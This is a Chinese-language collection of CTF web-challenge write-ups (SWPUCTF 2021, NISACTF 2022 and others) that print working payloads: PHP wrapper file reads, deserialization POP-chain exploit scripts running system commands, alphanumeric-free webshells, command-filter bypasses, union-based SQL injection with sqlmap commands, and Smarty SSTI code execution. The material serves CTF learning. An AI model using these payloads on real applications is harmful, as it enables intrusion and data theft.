8
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

传入两个参数即可

[SWPUCTF 2021 新生赛]Do_you_know_http

访问如下

image-20230107120854983

浏览器不对,那么首先需要修改User-AgentWLLM

image-20230107120925542

跟随重定向后跳转到a.php

image-20230107121003165

发现来源IP不对,那么需要修改X-Forwarded-For字段

image-20230107121230587

跟随重定向后得到最终flag

image-20230107121237694

[SWPUCTF 2021 新生赛]gift_F12

确实如名字,F12在元素资源中可以找到

image-20230107145303596

[第五空间 2021]WebFTP

dirsearch扫描之后,在readm.txt中找到对应的超级管理员账号密码admin/admin888

登录进去之后,在phpinfo.php中找到flag,或者不用登录,直接/phpinfo.php就能找到,应该是所谓非预期,下面看看预期解

同样该WebFTPgithub上一个老框架,可以在/Readme/mytz.php中存在敏感信息泄露漏洞

image-20230107153916700

或者seay好像可以审计出来

image-20230107154534824

对应泄露为/Readme/mytz.php?act=phpinfo

[SWPUCTF 2021 新生赛]easy_md5

md5弱比较

image-20230107155030276

使用QNKCDZOs214587387a即可

image-20230107155126859

[SWPUCTF 2021 新生赛]include

提示传入file参数,然后得到源码

image-20230107155613921

由于最后会使用include_once将对应file包含进来,那么可以使用相关的php伪协议

1
/?file=php://filter/read=convert.base64-encode/resource=flag.php

base64解码后得到flag

image-20230107155718000

[SWPUCTF 2021 新生赛]PseudoProtocols

image-20230107160859666

首先看到提示,并且URL中为/...?wllm=...,很明显就是想让我们填一个东西,试试hint.php填入

image-20230107160953981

啥也没有,那么尝试用一下php伪协议

1
http://1.14.71.254:28530/index.php?wllm=php://filter/read=convert.base64-encode/resource=hint.php

image-20230107161034318

可以看到出来了,base64解一下查看内容

image-20230107161117359

让我们访问/test2222222222222.php

image-20230107161156905

主要关注如下,需要设置a,然后其内容为I want flag

image-20230107161205486

由于用的是file_get_contents函数,那么可以使用data数据流

1
/test2222222222222.php?a=data://text/plain,I%20want%20flag

得到flag

image-20230107161327121

[NISACTF 2022]easyssrf

访问之后提示SSRF

那么访问一下本地网站下面的index.php,不太行,那试试flag.php

image-20230107163522282

再试试/fl4g

image-20230107163611667

不太行,试试file协议

image-20230107163829405

访问一下

image-20230107163903762

输出file,这里不用管那个判断,没啥用,只要file里面不包含file字符串就行,那么直接/flag就能得到

image-20230107164119474

[SWPUCTF 2021 新生赛]ez_unserialize

访问啥也没有,dirsearch一下,发现robots.txt,访问一下

image-20230107165705357

接着访问/cl45s.php

image-20230107165729931

可以看到反序列化设置一下对应属性即可

1
http://1.14.71.254:28869/cl45s.php?p=O:4:%22wllm%22:2:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:3:%22ctf%22;}

image-20230107165833572

[SWPUCTF 2021 新生赛]no_wakeup

image-20230107170206722

尝试用CVE-2016-7124

1
http://1.14.71.254:28150/class.php?p=O:6:%22HaHaHa%22:3:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:4:%22wllm%22;}

成功

[ZJCTF 2019]NiZhuanSiWei

写过,首先用data流和php伪协议读取useless.php

1
/?file=php://filter/read=convert.base64-encode/resource=useless.php&text=data://text/plain,welcome%20to%20the%20zjctf

image-20230107170914355

然后借助tostring方法,将Flag->file设置为flag即可,通过反序化打印出来

1
/?file=useless.php&text=data://text/plain,welcome%20to%20the%20zjctf&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

flag在注释中

[SWPUCTF 2021 新生赛]pop

image-20230107174901023

访问之后,可以看到考pop链,这里即为

1
2
3
4
5
6
7
w22m->__destruct(){echo $this->w00m;}
//设置成员$this->w00m为w33m类,进而调用到w33m->__toString


w33m->__toString(){$this->w00m->{$this->w22m}();}
//设置成员$this->w00m为w44m类,$this->w22m为"Getflag"
//进而调用到w44m->Getflag()函数

得到如下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

class w44m{

private $admin = 'w44m';
protected $passwd = '08067';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
$flag = "flag{aaaaa}";
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return "aaa";
}
}

$w3Obj = new w33m();
$w2Obj = new w22m();
$w4Obj = new w44m();

$w2Obj->w00m = $w3Obj;
$w3Obj->w00m = $w4Obj;
$w3Obj->w22m = "Getflag";


$a = serialize($w2Obj);
echo $a;
?>

结果如下

1
O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"w44madmin";s:4:"w44m";s:9:"*passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}

之后由于W44mprivateprotected的关系,打印不出来\x00这样的字符,所以我们需要按照规则使用%00进行补充

  • private

    变为\x00className\x00memberName

  • public

    仍然为原始的

  • protected

    变为\x00*\x00memberName

最终得到EXP

1
/?w00m=O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"%00w44m%00admin";s:4:"w44m";s:9:"%00*%00passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}

得到flag

[NISACTF 2022]babyserialize

依据相关代码,主要是在NISA.__invoke中有如下代码

image-20230108113757842

那么只要调用到NISA.__invoke函数,并且控制NISA.txw4ever成员即可做到任意函数调用。

首先给出总的函数调用链

1
TianXiWei.__wakeup->Ilovetxw.__call->four.__set->Ilovetxw.__toString->NISA.__invoke->@eval($this->txw4ever);

接下来具体分析一下

  • Ilovetxw.__toString->NISA.__invoke

    Ilovetxw.__toString方法如下

    image-20230108114004672

    __invoke性质:当尝试以调用函数的方式调用对象的时候,就会调用该方法

    那么通过设置Ilovetxw.su为某个NISA对应对象,即可调用到NISA.__invoke

  • four.__set->Ilovetxw.__toString

    four.__set方法如下

    image-20230108120158522

    这里可以看到调用了strtolower($this->a),查一下手册

    PHP: strtolower - Manual

    image-20230108120354823

    可以看到会将传入变量转化为String,也就是说如果传入一个对象,那么就会调用该对象的__toString方法来将它转化为String。那么这里就将four.a设置为Ilovetxw对应对象,即可调用到Ilovetxw.__toString

  • Ilovetxw.__call->four.__set

    Ilovetxw.__call方法如下

    image-20230108120814927

    __set的相关性质:在给不可访问的protected或者private或者不存在的属性赋值的时候,会被调用

    这里就可以设置Ilovetxw->huangfour的对象,而four中没有fun成员属性,所以就会调用到four->__set

  • TianXiWei.__wakeup->Ilovetxw.__call

    TianXiWei.__wakeup方法如下

    image-20230108121124426

    __call相关性质:在对象中调用一个不可访问的方法的时候,会被执行

    那么可以设置TianXiwei->extIlovetxw对象,而Ilovetxw没有nisa方法,就会调用到Ilovetxw->__call方法。

  • TianXiWei.__wakeup

    对于__wakeup的性质不用多说,在反序列化的时候就会自动调用了。

相关总结如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@eval($this->txw4ever);
//设置NISA.txw4ever即可执行命令

NISA.__invoke
//通过Ilovetxw.__toString调用,需要设置IlovetxwObj.su为class NISA
__invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法

Ilovetxw.__toString
//通过four.__set调用strtolower,从而调用到__toString。需要设置fourObj.a为class IlovetxwObj


four.__set
//通过Ilovetxw.__call调用,需要设置IlovetxwObj.huang为class four
__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

Ilovetxw.__call
//通过TianXiWei.__wakeup调用,需要设置ext为class Ilovetxw
__call():在对象中调用一个不可访问的方法的时候,会被执行

TianXiWei.__wakeup

unserialize(TianXiWei)调用TianXiWei.__wakeup

那么最终的EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?php
include "waf.php";
class NISA{
public $fun="aaa";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
//hint();
}
}

function __call($from,$val){
$this->fun=$val[0];
}

public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
//checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}

class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}

class Ilovetxw{
public $huang;
public $su;

public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}

public function __toString(){
$bb = $this->su;
return $bb();
}
}

class four{
public $a="TXW4EVER";
private $fun='abc';

public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}



//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}

//function hint(){
// echo ".......";
// die();
//}

$TianXiWeiObj = new TianXiWei();
$IlovetxwObj = new Ilovetxw();

$TianXiWeiObj->ext = $IlovetxwObj; //$this->ext->nisa($this->x);调用到Ilovetxw->__call();

$fourObj = new four();
$IlovetxwObj->huang = $fourObj; //$this->huang->fun=$arg[0];调用到four->__set();

$fourObj->a = $IlovetxwObj;//strtolower($this->a);调用到$IlovetxwObj.__toString();

$NISAObj = new NISA();
$IlovetxwObj->su = $NISAObj;// $bb = $this->su;return $bb();调用到NISA.__invoke();

$NISAObj->txw4ever = "System('cat /fllllllaaag');";//@eval($this->txw4ever);调用到system("ipconfig");

$myString = serialize($TianXiWeiObj);
echo urlencode($myString);
//unserialize($myString); //调用TianXiWei.__invoke();
?>

首先可以看看hint中有啥,要将NISA->fun设置为"show_me_flag"

image-20230108121600420

结果如下

image-20230108121739396

然后改掉NISA->fun,因为hint函数中有die函数调用

image-20230108121804523

看看根目录有啥

1
O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A5%3A%22aaaaa%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A15%3A%22system%28%27ls+%2F%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D

发现有错

image-20230108121855956

应该是checkcheck函数

image-20230108121939989

可能是preg_match进行了一些过滤,这里把system变成大写就行,查看根目录

1
O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A5%3A%22aaaaa%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A15%3A%22System%28%27ls+%2F%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D

image-20230108122127917

然后cat /fllllllaaag 即可,最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
<?php
include "waf.php";
class NISA{
public $fun="aaaaa";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
//hint();
}
}

function __call($from,$val){
$this->fun=$val[0];
}

public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
//checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}

class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}

class Ilovetxw{
public $huang;
public $su;

public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}

public function __toString(){
$bb = $this->su;
return $bb();
}
}

class four{
public $a="TXW4EVER";
private $fun='abc';

public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}



//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}

//function hint(){
// echo ".......";
// die();
//}

$TianXiWeiObj = new TianXiWei();
$IlovetxwObj = new Ilovetxw();

$TianXiWeiObj->ext = $IlovetxwObj; //$this->ext->nisa($this->x);调用到Ilovetxw->__call();

$fourObj = new four();
$IlovetxwObj->huang = $fourObj; //$this->huang->fun=$arg[0];调用到four->__set();

$fourObj->a = $IlovetxwObj;//strtolower($this->a);调用到$IlovetxwObj.__toString();

$NISAObj = new NISA();
$IlovetxwObj->su = $NISAObj;// $bb = $this->su;return $bb();调用到NISA.__invoke();

$NISAObj->txw4ever = "System('cat /fllllllaaag');";//@eval($this->txw4ever);调用到system("ipconfig");

$myString = serialize($TianXiWeiObj);
echo urlencode($myString);
//unserialize($myString); //调用TianXiWei.__invoke();


//O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A5%3A%22aaaaa%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A27%3A%22System%28%27cat+%2Ffllllllaaag%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D

?>

[SWPUCTF 2021 新生赛]easyupload1.0

检测文件头,改一下就行了,flagphpinfo里面

[SWPUCTF 2021 新生赛]easyupload2.0

检测后缀和文件头

[SWPUCTF 2021 新生赛]easyupload3.0

可以上传.htaccess来将png作为php

[SWPUCTF 2021 新生赛]caidao

加载了一张图片,但是一般来说,如果只加载图片,并不会能连接的

image-20230109200923250

但是用蚁剑连上,才发现index.php里面有

1
2
3
4
<?php
echo('<html><head><style>body{background:url(caidao.png) top left;background-size:100%;}</style></head></html>');
@eval($_POST['wllm']);
?>

[SWPUCTF 2021 新生赛]easyrce

普通的shell

image-20230109201242190

[SWPUCTF 2021 新生赛]babyrce

提示如下

image-20230109201720863

burpsuiteCOOKIE添加一下admin字段为1

image-20230109201814743

访问rasalghul.php,直接命令执行,过滤空格,用${IFS}代替空格即可

image-20230109201940275

[SWPUCTF 2021 新生赛]hardrce

命令执行,但是过滤了很多东西

image-20230109205721004

但是由于是php7,所以可以利用取反来执行命令,参考p神的:

一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)

无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)

image-20230109205707061

主要结论如下:

image-20230109205850748

即用python稍微写一下就行

image-20230109210209173

1
(~%8c%86%8c%8b%9a%92)(~%93%8c%df%d0);//system('ls /')

知道flag名字了

image-20230109210301490

1
(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%d0%99%93%93%93%93%93%9e%9e%9e%9e%9e%9e%98%98%98%98%98%98%98);//system('cat /flllllaaaaaaggggggg')

[SWPUCTF 2021 新生赛]finalrce

image-20230110140811427

exec直接执行命令,但是过滤了很多东西,包括ls也过滤了,但是命令行中有比较特殊符号反引号以及\,这个常用来连接命令,可以看到如下例子,其实是差不多的。

image-20230110141330808

所以这里可以用l\s来进行绕过,其他命令也是类似。

那么就差一个回显了,由于重定向符号>也被禁止了,那么这里可以用到tee命令,该命令可以通过管道符|将前一个命令的执行结果写入到文件中,效果如下

image-20230110141934420

那么就可以通过该命令来将需要命令结果写入到文件中,然后访问文件即可访问到命令结果。

1
url=l\s%20/%20|%20tee%201.txt

对应访问

image-20230110142057595

同样道理获取flag,但是这里还过滤了la,所以同样道理,给flllllaaaaaaggggggg的对应la处加上\符号也是一样的。

1
url=c\at%20/flllll\aaaaaaggggggg%20|%20tee%202.txt

访问2.txt即可得到flag

[SWPUCTF 2021 新生赛]easy_sql

参数是wllm,几个sql注入常见考点

前置知识

同样的,对应sql语句也会有注释,常用的注释有下

  • #:但是在url中该符号有特殊意义,所以使用的时候需要改成编码%23才行
  • --:用的时候通常需要为--空格 形式才能正常解析,而在sql+--连用时作用和空格类似,所以--+成为常见的sql注入语句,当然--%20也是一样的。

所以这里先使用单引号'将之闭合,然后语句最后使用--+来将后面的多余语句进行注释,比如原语句是

1
...where wllm = '用户输入' and ... 

用户输入为1' order by 1--+,那么结果即为

1
...where wllm = '1' order by 1--+' and ... 

原本的' and ... 这个就不会执行了,而order by 1会顺利执行,完成相关的sql语句注入查询。

1.判断类型

首先需要判断注入类型,常见的有字符,数字,时间,布尔等。

输入wllm=1正常回显,但是输入wllm=1'会显示错误,代表引号匹配不对,表明是字符型的注入。

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

2.字段数查询

需要知道该表有几个字段,才能进行后续的回显点查询,这里可以用到order by来进行查询。

order by 的意思就是依据输入的字段来进行排序,这里既可以输入字段名字,也可以输入字段序号,比如下表

image-20230110173717231

输入order by games_played和输入order by 4其效果是一样的,但是如果输入order by 5,而该表又只有4个字段,那么就会出错,如下

image-20230110173850560

可以通过这个方法来判断有几个字段,这里输入order by 4回显错误,表明字段数为3。

image-20230110175556882

3.回显点查询

可以看到输入wllm=1是正常回显的

image-20230110173359149

xxxyyy就是可能存在的回显点,那么需要判断这个回显点是在那个字段,这里就可以使用常见的select 1,2,3这种了。

select 1,2,3

直接查询情况如下,可以看到,相当于直接创建了一个与1,2,3有关的表,字段数为输入的数字个数,即3个,对应数据也能理解

image-20230110175654372

而当和联合查询union select相结合使用的时候,就需要输入的这些字段数和另一个表的字段数一样才会正常查询

比如某个表如下

image-20230110180052010

联合查询语句

1
SELECT * FROM activity union select 1,2,3,4;

image-20230110180123723

相当于把两个表进行合并,而如果字段数不一致,就会出错,比如减去一个字段数

1
SELECT * FROM activity UNION SELECT 1,2,3;

image-20230110180254544

可以看到查询字段数不一致的错误,这里也就是为什么之前需要判断表有几个字段的原因。

结合查询

把前一张表置空,也就是where wllm=xxxx不存在的时候,前一张表查出来自然就是空的。

然后再联合查询select 1,2,3...,依据返回数据,判断回显点在哪个字段

1
wllm=xx' union select 1,2,3--+

image-20230110180737312

即可知道回显的数据在第2,3两个字段,那么就依据这两个字段,进行相关数据查询,这里就从第2个字段入手。

4.查询库名

利用database()函数来查询

1
wllm=xx' union select 1,database(),3--+

image-20230110181009012

库名为test_db

5.查询表名

利用group_concat()函数来查询

1
wllm=xx' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test_db'--+

可以看到,这里想要提供库的名字test_db,所以之前需要查询到库名。

这里也有一点前置知识,也就是information_schemamysql中的一个信息数据库,保存着关于MySQL服务器所维护的所有其他数据库的信息。比如数据库名,数据库的表,表栏的数据类型与访问权限等。

参考:(48条消息) mysql自带的information_schema.tables是什么?_你的小伙伴啊的博客-CSDN博客

那么即可查询到

image-20230110181442257

可以看到存在两个表为test_tbusers

6.查询字段名

方法和查询表名类似,需要提供表名,之前查表名的原因

1
wllm=-xx' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='test_tb'--+

结果如下

image-20230110181822291

7.查询数据

方法类似,查询flag内容

1
wllm=xx' union select 1,group_concat(flag),3 from test_tb--+ 

得到最终flag

image-20230110182041851

SQLMAP

1
2
3
4
5
6
7
8
9
10
11
python .\sqlmap.py -u "http://1.14.71.254:28374/?wllm=1" -dbs
#得到所有数据库名

python .\sqlmap.py -u "http://1.14.71.254:28374/?wllm=1" -D test_db --tables
#得到库test_db中的所有表名字

python .\sqlmap.py -u "http://1.14.71.254:28374/?wllm=1" -D test_db -T test_db --columns
#得到库test_db中test_db表中的所有字段名字,这个跑不出来

python .\sqlmap.py -u "http://1.14.71.254:28374/?wllm=1" -D test_db -T test_db -C flag -dump
#跑不出来

[CISCN 2019华东南]Web11

看到这两个,猜测是smartyServer Side Template InjectionSSTI模板注入,这个就需要一些前置知识了。

image-20230111154621041

前置知识

简单安装使用:(48条消息) windows环境下smarty安装最简明教程_enjoyxp的博客-CSDN博客

参考:Smarty 模板注入与沙箱逃逸-安全客 - 安全资讯平台 (anquanke.com)

首先应该是为什说smarty能够进行模板注入,其实主要在于它的string模板,也就是如下的代码

1
$smarty->display("string:{phpinfo()}");

前期调用链

前期会有一些链子调用到关键函数

1
2
3
4
5
6
7
8
9
10
11
display
Smarty_Internal_TemplateBase._execute

Smarty_Internal_Template.render
//这里会进行模板是否存在的检测,不存在就直接返回了,这里的模板指的是`string:{phpinfo()}`中的`string`,然后就会进行模板的一些处理

Smarty_Template_Compiled.render
//这里也会进行模板检测,不太清楚和前面有啥区别

Smarty_Template_Compiled.process
//这个函数比较关键,后续基本都是从这里展开的

模板创建

当最开始没有进行该模板创建时,会创建模板,在前期调用链中还有后续的一些链子

1
2
3
4
Smarty_Template_Compiled.compileTemplateSource
//创建
Smarty_Template_Compiled.loadCompiledTemplate
//创建完成之后加载调用

下面分析更多

调用到Smarty_Template_Compiled.compileTemplateSource函数,然后在write函数中

image-20230111164052011

回调到Smarty_Internal_TemplateCompilerBase.compileTemplate

image-20230111164116060

里面调用create函数再回调到Smarty_Internal_TemplateCompilerBase.compileTemplateSource函数

image-20230111164320942

该函数最终会调用getContent函数,依据不同的handler调用到不同类的处理函数中,比如string对应的类就是Smarty_Internal_Resource_String,会调用到其decode函数进行相关内容处理

image-20230111164515198

比如这里的这里提到的例子里面的string就是{phpinfo()},相关处理后就直接返回内容,然后在后续的操作中,将该内容连同一些数据写入到指定的templates_c文件夹中hash之后的一个php文件,这里就会如下结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
/* Smarty version 4.3.0, created on 2023-01-11 16:48:16
from 'ce7370c7e6956f1e6a18ad78cf4f6e48dabb61b3' */

/* @var Smarty_Internal_Template $_smarty_tpl */
if ($_smarty_tpl->_decodeProperties($_smarty_tpl, array (
'version' => '4.3.0',
'unifunc' => 'content_63be77d0cad990_36655883',
'has_nocache_code' => false,
'file_dependency' =>
array (
),
'includes' =>
array (
),
),false)) {
function content_63be77d0cad990_36655883 (Smarty_Internal_Template $_smarty_tpl) {
echo phpinfo();
}
}

然后在后续的Smarty_Template_Compiled.loadCompiledTemplate中会对该文件进行包含,执行其中的php代码,这里可能是因为smarty一些机制原因,必定在包含的时候能够执行到里面对应的那个函数。

image-20230111165045717

模板调用

当存在该模板,也就是string:{phpinfo()}对应的模板,就会在Smarty_Template_Compiled.process函数中,也就是如下红框中,直接进行对应的模板文件包含,同样也是可以执行代码的。

image-20230111171930724

其他类模板

前面提到的是string类的模板,同样也可能会有自定义的,比如如下

参考:[CVE-2017-1000480]Smarty <= 3.1.32 php代码执行 漏洞分析 | Chybeta

1
2
3
4
5
6
7
8
9
10
class test extends Smarty_Resource_Custom
{
protected function fetch($name,&$source,&$mtime)
{
$source = $name;
$mtime = time();
}
}

$smarty->display("test:{phpinfo()}");

这里的$name就是对应的{phpinfo()},将其赋值给$source从而在后续的smarty处理中形成对应的content,因为在write过程中之前提到会有getContent的调用,使用自定义类Smarty_Resource_Custom就会调用到该类的fetch函数,传入的source就是content,从而为content赋值。

漏洞形式

常见的漏洞形式如下

1
2
$data = $_REQUEST['data'];
$smarty->display("string:".$data);

这样data就是可控的,那么相关的代码执行就是水到渠成了。

题目

相对于这道题就可以猜测了,大概就是会接收我们的ip,然后和它的模板进行拼接然后输出,其实测试一下就可以了。

image-20230111174624907

很明显,可以代码执行,即可完成

1
2
{system('ls /')}
{system('cat /flag')}

具体看看代码,放个木马上去下载一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
<?php

require 'smarty/libs/Smarty.class.php';
$smarty = new Smarty;
$smarty->debugging = false;
$smarty->caching = false;
$smarty->assign('foo','value');
if(isset($_SERVER)){
if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])){
$real_ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}elseif(isset($_SERVER["HTTP_CLIENT_IP"])) {
$real_ip = $_SERVER['HTTP_CLIENT_IP'];
}else{
$real_ip = $_SERVER['REMOTE_ADDR'];
}
}else{
if(getenv("HTTP_X_FORWARDED_FOR")){
$real_ip = getenv( "HTTP_X_FORWARDED_FOR");
}elseif(getenv("HTTP_CLIENT_IP")) {
$real_ip = getenv("HTTP_CLIENT_IP");
}else{
$real_ip = getenv("REMOTE_ADDR");
}
}
$template_string = '<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>A Simple IP Address API</title>
<link rel="stylesheet" href="./css/bootstrap.min.css">
</head>
<body>
<div class="container">
<div class="row">
<div style="float:left;">
<h1>IP</h1>
<h2 class="hidden-xs hidden-sm">A Simple Public IP Address API</h2>
</div>
<div style="float:right;margin-top:30px;">Current IP:'.$real_ip.' </div>
</div>

<div class="why row">
<div class="col-xs-12">
<h2>Why use?</h2>
<div class="row">
<div class="col-xs-offset-1 col-xs-10">
<p>
Do you need to get the public IP address ? Do you have the requirements to obtain the servers’ public IP address? Whatever the reason,sometimes a public IP address API are useful.
</p>
<p>
You should use this because:
</p><ul>
<li>You can initiate requests without any limit.</li>

<li>Does not record the visitor information.</li>

</ul>
<p></p>
</div>
</div>
</div>
</div>
<div class="api row">
<div class="col-xs-12">
<h2>API Usage</h2>
<div class="row">
<div class="col-xs-offset-1 col-xs-11">

<div class="table-responsive">
<table class="table table-striped table-bordered table-hover">
<thead>
<tr>
<td>-</td>
<td>API URI</td>
<td width="50px">Type</td>
<td>Sample Output</td>
</tr>
</thead>
<tbody>
<tr>
<td>get IP</td>
<td><code>http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'api</code></td>
<td><code>text/html</code></td>
<td><code>8.8.8.8</code></td>
</tr>
<tr>
<td>get XFF(X-Forwarded-For)</td>
<td><code>http://' .$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'xff</code></td>
<td><code>text/html</code></td>
<td><code>8.8.8.8</code></td>
</tr>


</tbody>
</table>
</div>


</div>
</div>
</div>
</div>
<div class="examples row">

</div>

<div class="row">
<div class="col-xs-12">
<h2 style="margin-bottom:0;">Connection</h2>
<div class="row">
<div class="col-xs-offset-1 col-xs-10">
<h3>Request-Header</h3>
<pre>GET / HTTP/2.0
Host: www.ip.la
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8
Cache-Control: max-age=0
Dnt: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36

</pre>
</div>
</div>
</div>
</div>
<footer>
<p style="text-align:center;font-size:14px;">Build With Smarty !</p>
</footer>
</div>

</body></html>';

$smarty->display('string:'.$template_string);

?>

可以看到$template_string中包含了我们可以控制的$real_ip

[NISACTF 2022]midlevel

和上一道题一模一样,不太懂意义在哪里

[NISACTF 2022]is secret

image-20230112155550917

试试输入secret

image-20230112155613805

看来还得输入参数

image-20230112155641182

随便输点,发现报错了

image-20230112155719927

依据报错信息可以判断用的是python2flask,报错信息中有比较关键的部分

1
2
File "/app/app.py", line 35, in secret
a=render_template_string(safe(deS))

这个函数render_template_string通常和SSTI模板注入有关,和之前的php中的相关模板注入有点类似,而且在火狐浏览器中居然可以点开查看代码,在edgechrome都不行

image-20230112161329622

可以看到,那个secret应该是我们控制的,因为没有secret的时候,确实输出了那个文字,有了就会输出其他的。

中间看代码,将输入的secret通过rc4进行解密,那个HereIsTreasure应该就是密钥,然后字节放入render_template_string函数中,那么就肯定存在SSTI模板注入

前置知识

了解flaskSSTI还是需要一些前置知识的,如下代码示例

1
2
3
4
@app.route('/test')
def test_ssti():
template = "{{'abc'.__class__}}"
return render_template_string(template)

当访问ip:port/test时,出现如下情况

image-20230112162026870

返回了一个类名字,这个其实就相当于在python里面执行了'abc'.__class__

image-20230112162115798

那么对应的,这个标签{{xxx}},修改里面的xxx,即可获得任意python代码执行的能力。但是这里的代码执行和正常的python还是有点区别的,比如如下

1
2
3
4
@app.route('/test')
def test_ssti():
template = "{{print('aaaa')}}"
return render_template_string(template)

就会出现如下情况

image-20230112162739395

